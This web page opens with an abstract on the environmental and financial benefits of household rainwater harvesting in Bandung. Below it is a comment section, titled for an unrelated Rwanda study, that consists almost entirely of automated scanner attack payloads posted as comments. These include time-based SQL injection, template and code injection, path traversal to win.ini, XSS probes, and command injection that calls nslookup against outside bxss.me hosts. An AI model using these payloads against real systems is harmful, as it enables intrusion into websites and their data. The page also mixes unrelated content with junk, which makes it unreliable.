Rainwater harvesting (RWH) system is a technology that focuses on sustainability and support the sustainable environment development. The implementation of RWH systems provides many environment and financial benefits. Some of the environment benefits of RWH system are the reduction of surface runoff, reduce the burden of soil aquifer, and provide the availability of clean water. This study analyzed the RWH system implementation benefits both in environment and financial side. The financial benefits of RWH system implementation are calculated based on a number of rainwater that can be used to replace the need for clean water.The environment benefits defined by the reduced of main water tap use and the reduced of generated roof runoff volume. This study used a simple RWH system that use the roof as a catchment area, the pipeline as a distribution system, and tank as the storage system. The water use is for domestic potable and no potable for a household with up to four occupants in Bandung. The catchment area is taken 70 m2. A water balance model for various scenarios was developed to calculate the algorithm of the system. The costs taken in RWH system includes the construction, installation, maintenance and operational costs. The analysis shows that the implementation of RWH systems provides advantages over the use of conventional systems. It can save clean water use up to 54,92% and provide runoff reduction up to 71,53%. RWH system applied requires additional costs approximately only 0,66% from the value of the house. It was found that it is possible to achieve payback in RWH system implementation under several scenarios.
Keywords: Rainwater harvesting, benefits, environment, financial, domestic use
163 commentents on Design of rain water harvesting system in Rwanda.
JCfUZQsq -
555
@@tjAqd -
555
1'" -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
@@i9rPQ
JCfUZQsq -
1%2527%2522
JCfUZQsq -
1'"
JCfUZQsq -
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
JCfUZQsq -
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
JCfUZQsq -
f4YrVruA')) OR 228=(SELECT 228 FROM PG_SLEEP(15))--
JCfUZQsq -
NajpZAjr') OR 765=(SELECT 765 FROM PG_SLEEP(15))--
JCfUZQsq -
XIAs1tof' OR 212=(SELECT 212 FROM PG_SLEEP(15))--
JCfUZQsq -
-1)) OR 388=(SELECT 388 FROM PG_SLEEP(15))--
JCfUZQsq -
-5) OR 992=(SELECT 992 FROM PG_SLEEP(15))--
JCfUZQsq -
-5 OR 184=(SELECT 184 FROM PG_SLEEP(15))--
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555FPMOP[!+!]
JCfUZQsq -
555
JCfUZQsq -
555}body{acu:Expre/**/SSion(sBpD(9828))}
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555NWDHZ[!+!]
JCfUZQsq -
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
JCfUZQsq -
acx__${98991*97996}__::.x
JCfUZQsq -
acx[[${98991*97996}]]xca
JCfUZQsq -
acx{{98991*97996}}xca
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
JCfUZQsq -
555
JCfUZQsq -
JCfUZQsq -
555
JCfUZQsq -
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
acux8621%C0%BEz1%C0%BCz2a%90bcxuca8621
JCfUZQsq -
555
JCfUZQsq -
if(now()=sysdate(),sleep(15),0)
JCfUZQsq -
555
'" -
555
JCfUZQsq -
acu4357%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4357
bxss.me -
555
JCfUZQsq -
555
JCfUZQsq -
555
/xfs.bxss.me -
555
JCfUZQsq -
555
JCfUZQsq -
5559088920
JCfUZQsq -
JCfUZQsq -
555
JCfUZQsq -
'.print(md5(31337)).'
JCfUZQsq -
'"
JCfUZQsq -
555
'"() -
555
JCfUZQsq -
555
JCfUZQsq -
/xfs.bxss.me
JCfUZQsq -
${@print(md5(31337))}
JCfUZQsq -
'+'A'.concat(70-3).concat(22*4).concat(122).concat(82).concat(97).concat(87)+(require'socket' Socket.gethostbyname('hitzy'+'vziotuiec3b7f.bxss.me.')[3].to_s)+'
JCfUZQsq -
";print(md5(31337));$a="
JCfUZQsq -
bxss.me/t/xss.html?%00
JCfUZQsq -
"+"A".concat(70-3).concat(22*4).concat(122).concat(78).concat(119).concat(66)+(require"socket" Socket.gethostbyname("hitjc"+"ztwhgijeb7221.bxss.me.")[3].to_s)+"
JCfUZQsq -
-1" OR 2+544-544-1=0+0+0+1 --
JCfUZQsq -
HttP://bxss.me/t/xss.html?%00
JCfUZQsq -
555
!(()&&!|*|*| -
555
JCfUZQsq -
555
JCfUZQsq -
-1' OR 2+933-933-1=0+0+0+1 or 'yYKDGKYd'='
JCfUZQsq -
-1' OR 2+108-108-1=0+0+0+1 --
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
;print(md5(31337));
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
-1 OR 2+909-909-1=0+0+0+1
JCfUZQsq -
".gethostbyname(lc("hitdr"."oodeiqwl5fd99.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(73).chr(112).chr(89)."
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
-1 OR 2+184-184-1=0+0+0+1 --
JCfUZQsq -
'.gethostbyname(lc('hituj'.'qansdulx11d7d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(67).chr(114).chr(88).'
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
bxss.me
JCfUZQsq -
555
JCfUZQsq -
'"()
JCfUZQsq -
http://bxss.me/t/fit.txt%3F.jpg
JCfUZQsq -
!(()&&!|*|*|
JCfUZQsq -
555
JCfUZQsq -
Http://bxss.me/t/fit.txt
dm1aS1oxMHk= -
555
JCfUZQsq -
555
JCfUZQsq -
${9999945+9999004}
JCfUZQsq -
1some_inexistent_file_with_long_name%00.jpg
JCfUZQsq -
555
JCfUZQsq -
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
JCfUZQsq -
555
JCfUZQsq -
555
../JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
555
JCfUZQsq -
`(nslookup hitiwpovgxbgt27e88.bxss.me||perl -e "gethostbyname('hitiwpovgxbgt27e88.bxss.me')")`
JCfUZQsq -
555
JCfUZQsq -
|(nslookup hitrpyqgikasf6a0de.bxss.me||perl -e "gethostbyname('hitrpyqgikasf6a0de.bxss.me')")
JCfUZQsq -
12345'"\'\");|]*%00{%0d%0a%bf%27'????
JCfUZQsq -
555
JCfUZQsq -
&(nslookup hithxymuamael22b72.bxss.me||perl -e "gethostbyname('hithxymuamael22b72.bxss.me')")&'\"`0&(nslookup hithxymuamael22b72.bxss.me||perl -e "gethostbyname('hithxymuamael22b72.bxss.me')")&`'
JCfUZQsq -
555
JCfUZQsq -
../555
JCfUZQsq -
555
JCfUZQsq -
$(nslookup hitjazjokklcb3aba3.bxss.me||perl -e "gethostbyname('hitjazjokklcb3aba3.bxss.me')")
JCfUZQsq -
(nslookup hitrpdqkonbrpe2746.bxss.me||perl -e "gethostbyname('hitrpdqkonbrpe2746.bxss.me')")
JCfUZQsq -
|echo lhimlh$()\ pvedxo\nz^xyu||a #' |echo lhimlh$()\ pvedxo\nz^xyu||a #|" |echo lhimlh$()\ pvedxo\nz^xyu||a #
JCfUZQsq -
555
JCfUZQsq -
../../../../../../../../../../windows/win.ini
JCfUZQsq -
555
JCfUZQsq -
"+response.write(9098251*9096505)+"
JCfUZQsq -
&echo fbioqh$()\ qfxpek\nz^xyu||a #' &echo fbioqh$()\ qfxpek\nz^xyu||a #|" &echo fbioqh$()\ qfxpek\nz^xyu||a #
JCfUZQsq -
'+response.write(9098251*9096505)+'
JCfUZQsq -
echo lrwpmo$()\ jzwzky\nz^xyu||a #' &echo lrwpmo$()\ jzwzky\nz^xyu||a #|" &echo lrwpmo$()\ jzwzky\nz^xyu||a #
JCfUZQsq -
response.write(9098251*9096505)
JCfUZQsq -
555